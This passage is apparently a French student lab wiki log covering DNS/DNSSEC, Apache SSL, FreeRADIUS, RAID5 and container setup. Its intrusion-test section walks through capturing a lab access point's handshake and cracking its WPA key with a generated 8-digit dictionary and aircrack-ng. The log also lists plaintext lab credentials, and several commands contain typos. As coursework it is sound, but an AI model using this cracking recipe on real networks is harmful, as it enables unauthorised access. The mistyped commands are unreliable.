         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
===DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48853</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48853"/>
				<updated>2018-12-17T15:50:04Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* 6. Réalisation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1500px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
